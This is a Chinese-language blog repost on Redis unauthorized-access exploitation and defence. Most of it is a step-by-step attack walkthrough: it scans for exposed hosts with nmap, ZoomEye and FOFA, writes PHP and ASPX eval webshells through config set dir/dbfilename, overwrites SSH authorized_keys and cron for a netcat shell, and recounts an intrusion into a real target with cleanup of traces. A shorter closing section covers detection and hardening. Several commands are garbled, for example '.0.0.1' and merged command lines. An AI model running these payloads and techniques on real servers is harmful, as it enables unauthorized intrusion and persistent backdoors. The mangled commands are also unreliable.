您好,登錄后才能下訂單哦!
本篇文章給大家分享的是有關(guān)如何理解Redis漏洞利用與防御,小編覺得挺實用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來看看吧。
Redis在大公司被大量應(yīng)用,通過筆者的研究發(fā)現(xiàn),目前在互聯(lián)網(wǎng)上已經(jīng)出現(xiàn)Redis未經(jīng)授權(quán)病毒似自動攻擊,攻擊成功后會對內(nèi)網(wǎng)進行掃描、控制、感染以及用來進行挖礦、勒索等惡意行為,早期網(wǎng)上曾經(jīng)分析過一篇文章“通過redis感染linux版本勒索病毒的服務(wù)器”(http://www.sohu.com/a/143409075_765820),如果公司使用了Redis,那么應(yīng)當(dāng)給予重視,通過實際研究,當(dāng)在一定條件下,攻擊者可以獲取webshell,甚至root權(quán)限。
Remote Dictionary Server(Redis) 是一個由Salvatore Sanfilippo寫的key-value存儲系統(tǒng)。Redis是一個開源的使用ANSI C語言編寫、遵守BSD協(xié)議、支持網(wǎng)絡(luò)、可基于內(nèi)存亦可持久化的日志型、Key-Value數(shù)據(jù)庫,并提供多種語言的API。它通常被稱為數(shù)據(jù)結(jié)構(gòu)服務(wù)器,因為值(value)可以是字符串(String), 哈希(Map), 列表(list), 集合(sets) 和有序集合(sorted sets)等類型。從2010年3月15日起,Redis的開發(fā)工作由VMware主持。從2013年5月開始,Redis的開發(fā)由Pivotal贊助。目前最新穩(wěn)定版本為4.0.8。
Redis默認配置端口為6379,sentinel.conf配置器端口為26379
https://redis.io/
http://download.redis.io/releases/redis-3.2.11.tar.gz
http://download.redis.io/releases/redis-4.0.8.tar.gz tar –xvf redis-4.0.8.tar.gz redis-4.0.8
最新版本前期漏洞已經(jīng)修復(fù),測試時建議安裝3.2.11版本。
redis.conf ./src/redis.conf bind .0.0.1 前面加上 protected-mode 設(shè)為 no 啟動 redis-server ./src/redis-server redis.conf
最新版安裝成功后,如圖1所示。默認的配置是使用6379端口,沒有密碼。這時候會導(dǎo)致未授權(quán)訪問然后使用redis權(quán)限寫文件。
<center>圖1 安裝配置 redis</center>
redis-cli -h {host} -p {port}
方式連接,然后所有的操作都是在交互的方式實現(xiàn),不需要再執(zhí)行redis-cli了,例如命令:
redis-cli .0.0.1-p 加-a參數(shù)表示帶密碼的訪問
redis-cli -h {host} -p {port} {command}
直接得到命令的返回結(jié)果.
命令 | 描述 |
---|---|
info | 查看信息 |
flushall | 刪除所有數(shù)據(jù)庫內(nèi)容 |
flushdb | 刷新數(shù)據(jù)庫 |
KEYS * | 查看所有鍵,使用 select num 可以查看鍵值數(shù)據(jù) |
set test "who am i" | 設(shè)置變量 |
config set dir dirpath | 設(shè)置路徑等配置 |
save | 保存 |
get 變量 | 查看變量名稱 |
更多命令可以參考文章:https://www.cnblogs.com/kongzhongqijing/p/6867960.html
因配置不當(dāng)可以未經(jīng)授權(quán)訪問,攻擊者無需認證就可以訪問到內(nèi)部數(shù)據(jù),其漏洞可導(dǎo)致敏感信息泄露(Redis服務(wù)器存儲一些有趣的session、cookie或商業(yè)數(shù)據(jù)可以通過get枚舉鍵值),也可以惡意執(zhí)行flushall來清空所有數(shù)據(jù),攻擊者還可通過EVAL執(zhí)行l(wèi)ua代碼,或通過數(shù)據(jù)備份功能往磁盤寫入后門文件。如果Redis以root身份運行,可以給root賬戶寫入SSH公鑰文件,直接免密碼登錄服務(wù)器,其相關(guān)漏洞信息如下:
Redis 3.2.x < 3.2.4版本存在緩沖區(qū)溢出漏洞,可導(dǎo)致任意代碼執(zhí)行。Redis數(shù)據(jù)結(jié)構(gòu)存儲的CONFIG SET命令中client-output-buffer-limit選項處理存在越界寫漏洞。構(gòu)造的CONFIG SET命令可導(dǎo)致越界寫,代碼執(zhí)行。
Redis 2.8.x在2.8.24以前和3.0.x 在3.0.6以前版本,lua_struct.c中存在getnum函數(shù)整數(shù)溢出,允許上下文相關(guān)的攻擊者許可運行Lua代碼(內(nèi)存損壞和應(yīng)用程序崩潰)或可能繞過沙盒限制意圖通過大量,觸發(fā)基于棧的緩沖區(qū)溢出。
Redis 2.8.1之前版本和3.0.2之前3.x版本中存在安全漏洞。遠程攻擊者可執(zhí)行eval命令利用該漏洞執(zhí)行任意Lua字節(jié)碼
讀取“.rediscli_history”配置文件信息
nmap -v -n -Pn -p 6379 -sV --scriptredis-info 192.168.56.1/24
Redis配置文件中一般會設(shè)置明文密碼,在進行滲透時也可以通過webshell查看其配置文件,Redis往往不只一臺計算機,可以利用其來進行內(nèi)網(wǎng)滲透,或者擴展權(quán)限滲透。
https://github.com/evilpacket/redis-sha-crack,其命令為:
./redis-sha-crack.js wordlist.txt shalist.txt .0.0.1 host2.example.com:5555
需要安裝node:
clone https://github.com/nodejs/node.git ./configure
auxiliary/scanner/redis/file_upload normal Redis File Upload auxiliary/scanner/redis/redis_login normal Redis Login Utility auxiliary/scanner/redis/redis_server normal Redis Command Execute Scanner
當(dāng)redis權(quán)限不高時,并且服務(wù)器開著web服務(wù),在redis有web目錄寫權(quán)限時,可以嘗試往web路徑寫webshell,前提是知道物理路徑,精簡命令如下:
config dir E:/www/font config dbfilename redis2.aspx a save
(1)連接Redis服務(wù)器
redis-cli –h 192.168.106.135 –p 6379
(2)在192.168.106.133上執(zhí)行
nc –vlp 7999
(3)執(zhí)行以下命令
x config dir /var/spool/cron/ ubantu文件為:/var/spool/cron/crontabs/ config dir /var/spool/cron/crontabs/ config dbfilename root save
ssh-keygen rsa config dir /root/.ssh/ config dbfilename authorized_keys x save
執(zhí)行效果如圖2所示:
<center>圖2Redis漏洞SSH免密碼登錄</center>
(1)對“port: 6379”進行搜索
https://www.zoomeye.org/searchResult?q=port:6379
(2)除去顯示“-NOAUTH Authentication required.”的結(jié)果,顯示這個信息表示需要進行認證,也即需要密碼才能訪問。
(3)https://fofa.so/
關(guān)鍵字檢索:port="6379" && protocol==redis && country=CN
1.掃描某目標(biāo)服務(wù)器端口信息
通過nmap對某目標(biāo)服務(wù)器進行全端口掃描,發(fā)現(xiàn)該目標(biāo)開放Redis的端口為3357,默認端口為6379端口,再次通過iis put scaner軟件進行同網(wǎng)段服務(wù)器該端口掃描,如圖3所示,獲取兩臺開放該端口的服務(wù)器。
<center>圖3掃描同網(wǎng)段開放該端口的服務(wù)器</center>
2.使用telnet登錄服務(wù)器
使用命令“telnet ip port”命令登錄,例如 telnet 1**.**.**.76 3357
,登錄后,輸入auth和密碼進行認證。
3.查看并保存當(dāng)前的配置信息。
通過“config get命令”查看dir和dbfilename的信息,并復(fù)制下來留待后續(xù)恢復(fù)使用。
config get dir config get dbfilename
4.配置并寫入webshell
(1)設(shè)置路徑
config set dir E:/www/font
(2)設(shè)置數(shù)據(jù)庫名稱
將dbfilename對名稱設(shè)置為支持腳本類型的文件,例如網(wǎng)站支持php,則設(shè)置file.php即可,本例中為aspx,所以設(shè)置redis.aspx。
config set dbfilename redis.aspx
(3)設(shè)置webshell的內(nèi)容
根據(jù)實際情況來設(shè)置webshell的內(nèi)容,webshell僅僅為一個變量,可以是a等其他任意字符,下面為一些參考示例。
set webshell "<?php phpinfo(); ?>" //php查看信息 set webshell "<?php @eval($_POST['chopper']);?> " //phpwebshell set webshell "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>" // aspx的webshell,注意雙引號使用\"
(4)保存寫入的內(nèi)容
save
(5)查看webshell的內(nèi)容
get webshell
完整過程執(zhí)行命令如圖4所示,每一次命令顯示“+OK”表示配置成功。
<center>圖4寫入webshell</center>
測試webshell是否正常
在瀏覽器中輸入對應(yīng)寫入文件的名字,如圖5所示進行訪問,出現(xiàn)類似:
“REDIS0006?webshell'a@H攙???”則表明正確獲取webshell。
<center>圖5測試webshell是否正常</center>
6.獲取webshell
如圖6所示,使用中國菜刀后門管理連接工具,成功獲取該網(wǎng)站的webshell。
<center>圖6獲取webshell</center>
7.恢復(fù)原始設(shè)置
(1)恢復(fù)dir
config set dir dirname
(2)恢復(fù)dbfilename
config set dbfilename dbfilename
(3)刪除webshell
del webshell
(4)刷新數(shù)據(jù)庫
flushdb
8.完整命令總結(jié)
**.**.**.31 auth config dir config dbfilename config dir E:/www/ config dbfilename redis2.aspx a save a
9.查看redis配置conf文件
通過webshell,在其對應(yīng)目錄中發(fā)現(xiàn)還存在其它地址的redis,通過相同方法可以再次進行滲透,如圖7所示,可以看到路徑、端口、密碼等信息。
<center>圖7查看redis其配置文件</center>
通過本地登錄,通過“keys *”命令查看,如果有入侵則其中會有很多的值,如圖8所示,在keys *執(zhí)行成功后,可以看到有trojan1和trojan2命令,執(zhí)行g(shù)et trojan1即可進行查看。
<center>圖8檢查keys</center>
Redis內(nèi)建了名為crackit的key,也可以是其它值,同時Redis的conf文件中dir參數(shù)指向了/root/.ssh, /root/.ssh/authorized_keys
被覆蓋或者包含Redis相關(guān)的內(nèi)容,查看其值就可以直到是否被入侵過.
發(fā)現(xiàn)利用Redis賬號漏洞的,則在shell中會村在Redis字樣。
(1)禁止公網(wǎng)開放Redis端口,可以在防火墻上禁用6379 Redis的端口
(2)檢查authorized_keys是否非法,如果已經(jīng)被修改,則可以重新生成并恢復(fù),不能使用修改過的文件。并重啟ssh服務(wù)(service ssh restart)
(3)增加 Redis 密碼驗證
首先停止REDIS服務(wù),打開redis.conf配置文件(不同的配置文件,其路徑可能不同)/etc/redis/6379.conf,找到# requirepass foobared去掉前面的#號,然后將foobared改為自己設(shè)定的密碼,重啟啟動redis服務(wù)。
(4)修改conf文件禁止全網(wǎng)訪問,打開6379.conf文件,找到bind0.0.0.0前面加上# (禁止全網(wǎng)訪問)。
命令 | 描述 |
---|---|
port | 修改redis使用的默認端口 |
bind | 設(shè)定redis監(jiān)聽的專用IP |
requirepass | 設(shè)定redis連接的密碼 |
rename-command CONFIG "" | 禁用CONFIG命令 |
rename-command info info2 | 重命名info為info2 |
以上就是如何理解Redis漏洞利用與防御,小編相信有部分知識點可能是我們?nèi)粘9ぷ鲿姷交蛴玫降?。希望你能通過這篇文章學(xué)到更多知識。更多詳情敬請關(guān)注億速云行業(yè)資訊頻道。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。